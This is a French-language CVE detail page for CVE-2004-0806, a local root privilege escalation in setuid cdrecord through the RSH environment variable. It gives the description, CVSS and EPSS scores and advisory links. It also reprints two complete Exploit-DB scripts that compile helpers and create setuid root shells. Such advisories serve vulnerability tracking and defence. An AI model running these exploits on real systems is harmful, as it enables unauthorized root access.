CVE-2004-0806 : Détail

CVE-2004-0806

0.06%V3
Local
2004-09-14
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

cdrecord in the cdrtools package before 2.01, when installed setuid root, does not properly drop privileges before executing a program specified in the RSH environment variable, which allows local users to gain privileges.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 438

Date de publication : 2004-09-10 22h00 +00:00
Auteur : I)ruid
EDB Vérifié : Yes

#!/bin/bash # # cdrecord-suidshell.sh - I)ruid [CAU] (09.2004) # # Exploits cdrecord's exec() of $RSH before dropping privs # cat > ./cpbinbash.c << __EOF__ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> main( int argc, char *argv[] ) { int fd1, fd2; int count; char buffer[1]; /* Set ID's */ setuid( geteuid() ); setgid( geteuid() ); /* Copy the shell */ if ((fd1=open( "/bin/bash", O_RDONLY))<0) return -1; if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0) return -1; while((count=read(fd1, buffer, 1))) write(fd2, buffer, count); free(buffer); close( fd1 ); close( fd2 ); /* Priv the shell */ chown( "./bash", geteuid(), geteuid() ); chmod( "./bash", 3565 ); } __EOF__ cc ./cpbinbash.c -o ./cpbinbash # Set up environment export RSHSAVE=$RSH export RSH=./cpbinbash # Sploit cdrecord dev= REMOTE:CAU:1,0,0 - # Cleanup rm cpbinbash* export RSH=$RSHSAVE export RSHSAVE= # Use our suid bash ./bash -p // milw0rm.com [2004-09-11]
Exploit Database EDB-ID : 469

Date de publication : 2004-09-18 22h00 +00:00
Auteur : Max Vozeler
EDB Vérifié : Yes

#!/bin/bash echo "readcd-exp.sh -- ReadCD local exploit ( Test on cdrecord-2.01-0.a27.2mdk)" echo "Author : newbug [at] chroot.org" echo "Date :09.13.2004" echo "IRC : irc.chroot.org #discuss" export READCD=/usr/bin/readcd cd /tmp cat > s.c <<_EOF_ #include <unistd.h> #include <sys/types.h> #include <stdio.h> int main() { setuid(0);setgid(0); chown("/tmp/ss", 0, 0); chmod("/tmp/ss", 04755); return 0; } _EOF_ cat > ss.c <<_EOF_ #include <stdio.h> int main() { setuid(0);setgid(0); execl("/bin/bash","bash",(char *)0); return 0; } _EOF_ gcc -o s s.c gcc -o ss ss.c export RSH=/tmp/s $READCD dev=REMOTE:brk.chroot.org:1,0,1 1 >/dev/null 2>&1 /tmp/ss // milw0rm.com [2004-09-19]

Products Mentioned

Configuraton 0

Cdrtools>>Cdrecord >> Version 1.11

    Cdrtools>>Cdrecord >> Version 2.0

      Références

      http://www.securityfocus.org/bid/11075
      Tags : vdb-entry, x_refsource_BID
      http://securitytracker.com/id?1011091
      Tags : vdb-entry, x_refsource_SECTRACK
      http://www.mandriva.com/security/advisories?name=MDKSA-2004:091
      Tags : vendor-advisory, x_refsource_MANDRAKE
      http://seclists.org/lists/bugtraq/2004/Sep/0097.html
      Tags : mailing-list, x_refsource_BUGTRAQ
      https://bugzilla.fedora.us/show_bug.cgi?id=2058
      Tags : vendor-advisory, x_refsource_FEDORA
      http://www.kb.cert.org/vuls/id/700326
      Tags : third-party-advisory, x_refsource_CERT-VN
      http://secunia.com/advisories/19532
      Tags : third-party-advisory, x_refsource_SECUNIA
      http://secunia.com/advisories/12481/
      Tags : third-party-advisory, x_refsource_SECUNIA